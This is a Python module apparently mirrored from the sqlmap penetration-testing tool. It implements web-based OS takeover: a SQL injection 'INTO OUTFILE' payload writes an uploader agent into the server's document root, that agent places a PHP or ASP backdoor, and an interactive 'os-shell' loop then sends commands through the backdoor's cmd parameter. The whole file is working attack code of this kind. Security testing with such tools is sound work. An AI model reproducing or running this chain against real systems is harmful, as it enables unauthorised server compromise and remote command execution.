mirror of
https://github.com/sqlmapproject/sqlmap.git
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230 lines
7.9 KiB
Python
230 lines
7.9 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
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Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
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Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
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sqlmap is free software; you can redistribute it and/or modify it under
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the terms of the GNU General Public License as published by the Free
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Software Foundation version 2 of the License.
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sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
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WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
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FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
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details.
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You should have received a copy of the GNU General Public License along
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with sqlmap; if not, write to the Free Software Foundation, Inc., 51
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Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
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"""
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import os
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import re
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from lib.core.agent import agent
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from lib.core.common import fileToStr
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from lib.core.common import getDirs
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from lib.core.common import getDocRoot
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from lib.core.common import readInput
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from lib.core.convert import hexencode
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.data import paths
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from lib.core.exception import sqlmapUnsupportedDBMSException
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from lib.core.shell import autoCompletion
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from lib.request.connect import Connect as Request
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class Web:
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"""
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This class defines web-oriented OS takeover functionalities for
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plugins.
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"""
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def __init__(self):
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self.webApi = None
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self.webBaseUrl = None
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self.webBackdoorUrl = None
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self.webUploaderUrl = None
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self.webDirectories = set()
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def webBackdoorRunCmd(self, cmd, silent=False):
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if self.webBackdoorUrl is None:
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return
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output = None
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if not cmd:
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cmd = conf.osCmd
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cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, cmd)
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page, _ = Request.getPage(url=cmdUrl, direct=True, silent=True)
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if page is not None:
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output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)
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if not silent:
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if output:
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print output.group(1)
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else:
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print "No output"
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return output
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def webBackdoorShell(self):
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if self.webBackdoorUrl is None:
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return
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infoMsg = "calling OS shell. To quit type "
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infoMsg += "'x' or 'q' and press ENTER"
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logger.info(infoMsg)
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autoCompletion(osShell=True)
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while True:
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command = None
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try:
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command = raw_input("os-shell> ")
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except KeyboardInterrupt:
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print
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errMsg = "user aborted"
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logger.error(errMsg)
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except EOFError:
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print
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errMsg = "exit"
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logger.error(errMsg)
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break
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if not command:
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continue
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if command.lower() in ( "x", "q", "exit", "quit" ):
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break
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self.webBackdoorRunCmd(command)
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def webFileUpload(self, fileToUpload, destFileName, directory):
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if self.webApi == "php":
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multipartParams = {
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"upload": "1",
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"file": open(fileToUpload, "r"),
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"uploadDir": directory,
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}
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page = Request.getPage(url=self.webUploaderUrl, multipart=multipartParams)
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if "Backdoor uploaded" not in page:
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warnMsg = "unable to upload the backdoor through "
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warnMsg += "the uploader agent on '%s'" % directory
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logger.warn(warnMsg)
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elif self.webApi == "asp":
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backdoorRemotePath = "%s/%s" % (directory, destFileName)
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backdoorRemotePath = os.path.normpath(backdoorRemotePath)
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backdoorContent = open(fileToUpload, "r").read()
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postStr = "f=%s&d=%s" % (backdoorRemotePath, backdoorContent)
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page, _ = Request.getPage(url=self.webUploaderUrl, direct=True, post=postStr)
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if "permission denied" in page.lower():
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warnMsg = "unable to upload the backdoor through "
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warnMsg += "the uploader agent on '%s'" % directory
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logger.warn(warnMsg)
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elif self.webApi == "jsp":
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pass
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def webInit(self):
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"""
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This method is used to write a web backdoor (agent) on a writable
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remote directory within the web server document root.
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"""
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if self.webBackdoorUrl is not None and self.webUploaderUrl is not None and self.webApi is not None:
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return
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self.checkDbmsOs()
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kb.docRoot = getDocRoot()
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self.webDirectories = getDirs()
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self.webDirectories = list(self.webDirectories)
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self.webDirectories.sort()
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infoMsg = "trying to upload the uploader agent"
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logger.info(infoMsg)
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message = "which web application language does the web server "
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message += "support?\n"
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message += "[1] ASP\n"
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message += "[2] PHP (default)\n"
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message += "[3] JSP"
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while True:
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choice = readInput(message, default="2")
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if not choice or choice == "2":
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self.webApi = "php"
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break
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elif choice == "1":
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self.webApi = "asp"
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break
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elif choice == "3":
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errMsg = "JSP web backdoor functionality is not yet "
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errMsg += "implemented"
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raise sqlmapUnsupportedDBMSException(errMsg)
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elif not choice.isdigit():
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logger.warn("invalid value, only digits are allowed")
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elif int(choice) < 1 or int(choice) > 3:
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logger.warn("invalid value, it must be 1 or 3")
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backdoorName = "backdoor.%s" % self.webApi
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backdoorPath = os.path.join(paths.SQLMAP_SHELL_PATH, backdoorName)
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uploaderName = "uploader.%s" % self.webApi
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uploaderStr = fileToStr(os.path.join(paths.SQLMAP_SHELL_PATH, uploaderName))
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for directory in self.webDirectories:
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# Upload the uploader agent
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outFile = os.path.normpath("%s/%s" % (directory, uploaderName))
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uplQuery = uploaderStr.replace("WRITABLE_DIR", directory)
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query = " LIMIT 1 INTO OUTFILE '%s' " % outFile
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query += "LINES TERMINATED BY 0x%s --" % hexencode(uplQuery)
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query = agent.prefixQuery(" %s" % query)
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query = agent.postfixQuery(query)
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payload = agent.payload(newValue=query)
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page = Request.queryPage(payload)
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requestDir = os.path.normpath(directory.replace(kb.docRoot, "/").replace("\\", "/"))
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self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
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self.webUploaderUrl = "%s/%s" % (self.webBaseUrl, uploaderName)
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self.webUploaderUrl = self.webUploaderUrl.replace("./", "/").replace("\\", "/")
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uplPage, _ = Request.getPage(url=self.webUploaderUrl, direct=True)
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if "sqlmap backdoor uploader" not in uplPage:
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warnMsg = "unable to upload the uploader "
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warnMsg += "agent on '%s'" % directory
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logger.warn(warnMsg)
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continue
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infoMsg = "the uploader agent has been successfully uploaded "
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infoMsg += "on '%s'" % directory
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logger.info(infoMsg)
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self.webFileUpload(backdoorPath, backdoorName, directory)
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self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
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infoMsg = "the backdoor has probably been successfully "
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infoMsg += "uploaded on '%s', go with your browser " % directory
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infoMsg += "to '%s' and enjoy it!" % self.webBackdoorUrl
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logger.info(infoMsg)
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break
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